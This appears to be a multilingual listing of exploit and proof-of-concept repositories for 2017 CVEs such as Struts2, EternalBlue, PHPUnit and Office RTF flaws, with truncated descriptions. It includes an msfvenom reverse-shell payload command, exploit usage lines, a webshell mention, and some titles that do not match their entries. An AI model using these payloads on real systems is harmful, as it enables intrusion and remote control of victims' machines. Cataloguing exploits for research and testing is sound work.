PHPunit-Exploit

PHPunit Exploiter + Checker CVE-2017-9841 Übersicht : PHPUnit ist ein Unit-Test-Framework für die Programmiersprache PHP. Dies ist eine beispielhafte xUnit-Architektur für ein Unit-Testing-Framework, das seinen Ursprung in SUnit hat und mit JUnit populär wurde. PHPUnit wurde von Sebastian Bergman...

struts2-rce

Demonstração de Exploit para CVE-2017-5638 Baseado completamente em https://github.com/piesecurity/apache-struts2-CVE-2017-5638 Um cenário realista onde um projeto de referência para um framework é implantado em um container, mas com consequências terríveis. Para se familiarizar, veja o código e...

Etern-blue-Windows-7-Checker

Eternalblue SMB1 Windows7/10-Checker Aktualisiert und erkennt jetzt Windows 7 sowie ältere Windows-10-Versionen, die SMB 1 unterstützen. Ich habe nur SMB 1 implementiert, und jeder SMB-2-Server, an dem du das ausprobierst, gibt "not vulnerabile" zurück. Ich habe erforscht, wie die Struktur eines...

SpringBreakPoC

SpringBreakPoC Eu precisava de uma ferramenta para testar vários endpoints diferentes para a vulnerabilidade SpringBreak recentemente divulgada CVE-2017-8046 e não encontrei nenhuma, então montei esta. Uso root@kitploit: \ \ / /| \ \ \ | \ /\ | /| || | | \ || /| | || /| || \ / / | | || | | | | ...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Usare msfvenom per generare un Payload: root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Specifica il payload una shell TCP inversa per Windows. LHOST=10.10.14.4:...

Samba-CVE-2017-7494

Samba-CVE-2017-7494 https://www.zer0d0y.info/post/notes-on-bug-hunting-labs/...

CVE-2017-9805

Тест nuclei CVE-2017-9805.yaml - struts2 showcase RCE Сборка Dockerfile docker build -t cve-2017-9805 . Запуск и отсоединение контейнера docker run --name cve-2017-9805 -p 127.0.0.1:8080:8080 -dit cve-2017-9805 /bin/bash Вход в работающий контейнер docker exec -it cve-2017-9805 /bin/bash Запуск...

CVE-2017-7529-POC

CVE-2017-7529-POC POC для CVE-2017-7529...

cve-2017-0263-poc

cve-2017-0263-poc PoC для 0263...

CVE-2017-0199

Exploit-Toolkit CVE-2017-0199 - v4.0 Exploit-Toolkit CVE-2017-0199 - v4.0 ist ein praktisches Python-Skript, das Pentestern und Sicherheitsforschern eine schnelle und effektive Möglichkeit bietet, Microsoft Office RCE zu testen. Es kann eine schädliche RTF/PPSX-Datei erzeugen und...

apache-struts2-CVE-2017-5638

apache-struts2-CVE-2017-5638 تطبيق تجريبي واستغلال Exploit تطبيق Apache Struts2 نموذجي Struts2-showcase: https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase/2.3.12 مرجع الاستغلال: https://github.com/rapid7/metasploit-framework/issues/8064...

Struts2-045-Exp

Outils d'exploitation Struts2 S2-045 CVE-2017-5638 Fonction de l'exploit: Exécution de commande Obtenir le chemin physique du site cible Téléchargement de fichier Obtenir un shell Webshell par défaut pour Chopper Support HTTP/HTTPS Support des URL avec n'importe quel port Remarque : le mot de pas...

CVE-2017-1000112-PoC

CVE-2017-1000112Overflow del buffer scarica l'immagine iso da https://old-releases.ubuntu.com/releases/16.10/ubuntu-16.10-server-amd64.iso gcc exploit.c -o exploit ottenuto root...

CVE-2017-0213

CVE-2017-0213...

cve-2017-8760

शोषण टूलकिट CVE-2017-8759 - v1.0 शोषण टूलकिट CVE-2017-8759 - v1.0 एक सुविधाजनक पायथन स्क्रिप्ट है जो पेंटेस्टर्स और सुरक्षा शोधकर्ताओं को Microsoft .NET Framework RCE का परीक्षण करने का एक त्वरित और प्रभावी तरीका प्रदान करती है। यह एक दुर्भावनापूर्ण RTF फ़ाइल उत्पन्न कर सकती है और बिना किसी जटिल...

CVE-2024-26169-Detail-1

CVE-2017-11882-metasploit Dies ist ein Metasploit-Modul, das CVE-2017-11882 unter Verwendung des folgenden POC ausnutzt: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about. Installation 1. Kopieren Sie die Datei cve201711882.rb nach...

hikihack

📚 الوثائق والرسوم التوضيحية لإكمال هذا التحليل للثغرة الأمنية CVE-2017-7921 ، يتم توفير عدة موارد. تهدف هذه الموارد إلى المساعدة في فهم العواقب المحتملة لجهاز معرّض للخطر، وأهمية التحديثات الأمنية، والممارسات الجيدة للتحصين. جميع العروض التوضيحية المعروضة في هذا المستودع نُفِّذت في بيئة اختبار مص...

S2-053-CVE-2017-12611

S2-053-CVE-2017-12611 Ein einfaches Skript für einen RCE-Exploit für Struts 2 S2-053 CVE-2017-12611 Verwendung root@kitploit: exploit.py Beispiel root@kitploit: $ python s2-053-exploit.py "http://127.0.0.1" "name" "uname -a" Generated EXP:...

optionsbleed

optionsbleed هذا رمز إثبات مفهوم لاختبار ثغرة Optionsbleed في Apache httpd CVE-2017-9798. يُرجى النظر في استخدام الأداة Snallygaster بدلاً من ذلك، فهي تتضمن فحصًا لـ optionsbleed: root@kitploit: snallygaster -t optionsbleed host الاستخدام root@kitploit: optionsbleed -h -n N -a -u hosttocheck التح...

CVE-2017-7525-Jackson-Deserialization-Lab

CVE-2017-7525 Laboratoire de désérialisation non sécurisée en Java Application REST Java basique vulnérable à la désérialisation non sécurisée, conduisant à une exécution de code à distance RCE. Le projet doit être exécuté sur Java 8u45 Basé sur Maven avec les dépendances suivantes :...